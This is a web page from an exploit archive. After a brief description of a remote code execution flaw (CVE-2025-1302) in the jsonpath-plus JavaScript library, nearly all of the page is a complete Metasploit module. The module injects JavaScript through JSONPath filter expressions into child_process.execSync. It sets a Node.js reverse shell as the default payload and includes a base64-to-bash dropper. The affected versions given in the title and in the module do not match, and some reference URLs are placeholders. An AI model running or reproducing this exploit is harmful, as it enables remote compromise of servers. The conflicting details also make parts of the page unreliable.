JSONPath Plus Remote Code Execution
JSONPath Plus Remote Code Execution
JSONPath Plus RCE is a critical vulnerability in the `jsonpath-plus` JSONPath Plus RCE is a critical vulnerability in the `jsonpath-plus` JavaScript library.
It enables Remote Code Execution (RCE).
This occurs when applications process untrusted JSONPath expressions.
Specifically, malicious JavaScript injected into filter expressions (`[?(...)`)
is evaluated by the library's internal mechanisms.
This allows arbitrary code execution on the server hosting the application.
The impact is severe: full system compromise, data theft, or further attacks.
Applications parsing untrusted input are vulnerable.
Mitigation: update the `jsonpath-plus` library to a patched version
or strictly sanitize all user-supplied JSONPath input.

=============================================================================================================================================
| # Title : JSONPath Plus < 10.3.0 Remote Code Execution Exploitation Framework |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.1 (64 bits) |
| # Vendor : https://github.com/JSONPath-Plus/JSONPath |
=============================================================================================================================================

POC :

[+] References : https://packetstorm.news/files/id/212004/ & CVE-2025-1302


[+] Summary :

CVE-2025-1302 is a critical remote code execution vulnerability in JSONPath Plus library versions prior to 10.3.0.
The vulnerability allows attackers to execute arbitrary JavaScript code through maliciously crafted JSONPath expressions, leading to complete system compromise.
The vulnerability exists in the JSONPath expression parser where user input is improperly sanitized before being evaluated as JavaScript code. Attackers can exploit constructor properties to break out of the JSONPath context and execute arbitrary system commands.



[+] POC :

##
# Module: exploit/multi/http/jsonpath_plus_rce
# Version: 1.0
# Author: indoushka
##

require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager

def initialize(info = {})
super(update_info(info,
'Name' => 'JSONPath Plus RCE (CVE-2025-1302)',
'Description' => %q{
This module exploits a remote code execution vulnerability in JSONPath Plus
library versions prior to 0.21.1. The vulnerability allows arbitrary JavaScript
code execution through malicious JSONPath expressions.
},
'Author' => ['indoushka'],
'License' => MSF_LICENSE,
'References' => [
['CVE', '2025-1302'],
['URL', 'https://github.com/JSONPath-Plus/JSONPath/issues/XXX'],
['URL', 'https://security.snyk.io/vuln/SNYK-JS-JSONPATHPLUS-XXX']
],
'DisclosureDate' => '2025-11-26',
'Platform' => ['nodejs', 'unix', 'linux'],
'Arch' => [ARCH_CMD, ARCH_NODEJS, ARCH_X64, ARCH_X86],
'Payload' => {'BadChars' => '', 'Space' => 8192},
'Targets' => [
['Automatic', {}],
['Node.js', {'Arch' => ARCH_NODEJS, 'Platform' => 'nodejs'}],
['Unix Command', {'Arch' => ARCH_CMD, 'Platform' => 'unix'}],
['Linux Dropper', {'Arch' => [ARCH_X64, ARCH_X86], 'Platform' => 'linux'}]
],
'DefaultTarget' => 0,
'DefaultOptions' => {
'SSL' => false,
'RPORT' => 3000,
'PAYLOAD' => 'nodejs/shell_reverse_tcp'
},
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
}
))

register_options([
OptString.new('TARGETURI', [true, 'The base path to the vulnerable endpoint', '/']),
OptEnum.new('METHOD', [true, 'HTTP method to use', 'AUTO', ['POST', 'GET', 'AUTO']]),
OptBool.new('NO_FALLBACK', [false, 'Disable GET fallback', false]),
OptInt.new('DELAY', [false, 'Delay before exploitation (seconds)', 0]),
OptString.new('PAYLOAD_FILE', [false, 'Path to custom payload file']),
OptBool.new('VERBOSE', [false, 'Enable verbose output', false])
])

register_advanced_options([
OptString.new('CustomPayload', [false, 'Custom JSONPath payload']),
OptBool.new('DebugRequests', [false, 'Debug HTTP requests/responses', false])
])
end

def check
test_payload = '$[?(@.constructor.constructor("return process.version")())]'

res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path),
'ctype' => 'application/json',
'data' => { 'path' => test_payload }.to_json
})

return CheckCode::Unknown('No response from target') unless res

if res.body.include?('v') && res.body =~ /\d+\.\d+\.\d+/
return CheckCode::Appears("Node.js version detected: #{res.body}")
end

CheckCode::Safe
end

def exploit
print_status("Starting exploitation for CVE-2025-1302")

# Apply delay if specified
if datastore['DELAY'] > 0
print_status("Delaying #{datastore['DELAY']} seconds before exploitation...")
delay_progress(datastore['DELAY'])
end

# Determine payload based on target
payload = generate_payload
print_status("Generated payload: #{payload[0..100]}...") if datastore['VERBOSE']

# Execute exploitation
case target['Platform']
when 'nodejs'
exploit_nodejs(payload)
when 'unix'
exploit_unix(payload)
when 'linux'
exploit_linux(payload)
else
exploit_auto(payload)
end
end

def generate_payload
if datastore['CustomPayload']
return datastore['CustomPayload']
end

case target['Platform']
when 'nodejs'
generate_nodejs_payload
when 'unix', 'linux'
generate_cmd_payload
else
# Auto-detect based on selected payload
if payload_instance.name.include?('nodejs')
generate_nodejs_payload
else
generate_cmd_payload
end
end
end

def generate_nodejs_payload
cmd = payload.encoded
# Escape for JavaScript string
escaped_cmd = cmd.gsub('"', '\"').gsub("'", "\\'")

%Q{$[?(@.constructor.constructor("require('child_process').execSync('#{escaped_cmd}')")())]}
end

def generate_cmd_payload
case target['Platform']
when 'unix'
cmd = payload.encoded
%Q{$[?(@.constructor.constructor("require('child_process').execSync('#{cmd.gsub("'", "\\'")}')")())]}
when 'linux'
# For Linux dropper, we need a different approach
%Q{$[?(@.constructor.constructor("require('child_process').execSync('bash -c \\\"#{Rex::Text.encode_base64(payload.encoded)}\\\" | base64 -d | bash')")())]}
else
generate_nodejs_payload
end
end

def exploit_auto(payload_str)
method = datastore['NO_FALLBACK'] ? 'POST' : datastore['METHOD']

case method
when 'POST'
send_post_request(payload_str)
when 'GET'
send_get_request(payload_str)
when 'AUTO'
exploit_with_fallback(payload_str)
end
end

def exploit_with_fallback(payload_str)
print_status("Attempting POST request...")
res = send_post_request(payload_str)

if res && (res.code < 400)
print_good("POST request successful")
return true
end

print_status("POST failed, falling back to GET...")
res = send_get_request(payload_str)

if res && (res.code < 400)
print_good("GET request successful")
return true
end

fail_with(Failure::Unknown, "Both POST and GET methods failed")
end

def send_post_request(payload_str)
data = { 'path' => payload_str }.to_json

print_status("Sending POST request with payload") if datastore['VERBOSE']
debug_request('POST', data) if datastore['DebugRequests']

res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path),
'ctype' => 'application/json',
'data' => data
}, datastore['HTTP_TIMEOUT'] || 10)

debug_response(res) if datastore['DebugRequests'] && res
handle_response(res, 'POST')
end

def send_get_request(payload_str)
print_status("Sending GET request with payload") if datastore['VERBOSE']

res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path),
'vars_get' => { 'path' => payload_str }
}, datastore['HTTP_TIMEOUT'] || 10)

debug_response(res) if datastore['DebugRequests'] && res
handle_response(res, 'GET')
end

def handle_response(res, method)
unless res
print_error("#{method} request failed - no response")
return nil
end

if datastore['VERBOSE']
print_status("#{method} Response: Code=#{res.code}, Body=#{res.body[0..200]}...")
end

if res.code >= 400
print_error("#{method} request failed with code #{res.code}")
return nil
end

res
end

def exploit_nodejs(payload_str)
print_status("Exploiting Node.js target...")
exploit_auto(payload_str)

# For Node.js payloads, we need to handle the session differently
if payload_instance.respond_to?(:handle_connection)
handler
end
end

def exploit_unix(payload_str)
print_status("Exploiting Unix command target...")
exploit_auto(payload_str)
end

def exploit_linux(payload_str)
print_status("Exploiting Linux target with dropper...")

# Use cmd stager for Linux targets
execute_cmdstager({
:linemax => 8000,
:nodelete => true
})
end

def execute_command(cmd, opts = {})
payload_str = %Q{$[?(@.constructor.constructor("require('child_process').execSync('#{cmd.gsub("'", "\\'")}')")())]}
exploit_auto(payload_str)
end

def delay_progress(seconds)
return if seconds <= 0

print_status("Waiting #{seconds} seconds...")
1.upto(seconds) do |i|
print_status("Delay: #{i}/#{seconds}") if i % 5 == 0 || i <= 3
sleep(1)
end
end

def debug_request(method, data)
print_status("[DEBUG #{Time.now.utc.iso8601}] #{method} Request:")
print_status("Data: #{data}")
end

def debug_response(res)
return unless res

print_status("[DEBUG #{Time.now.utc.iso8601}] Response:")
print_status("Status: #{res.code}")
print_status("Headers: #{res.headers}")
print_status("Body: #{res.body}")
end

def load_custom_payloads(file_path)
return [] unless File.exist?(file_path)

payloads = []
File.readlines(file_path).each do |line|
next if line.strip.empty?
payloads << line.strip
end
payloads
end
end

Greetings to :=====================================================================================
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
===================================================================================================
Social Media Share
About Contact Terms of Use Privacy Policy
© Khalil Shreateh — Cybersecurity Researcher & White-Hat Hacker — Palestine 🇵🇸
All content is for educational purposes only. Unauthorized use of any information on this site is strictly prohibited.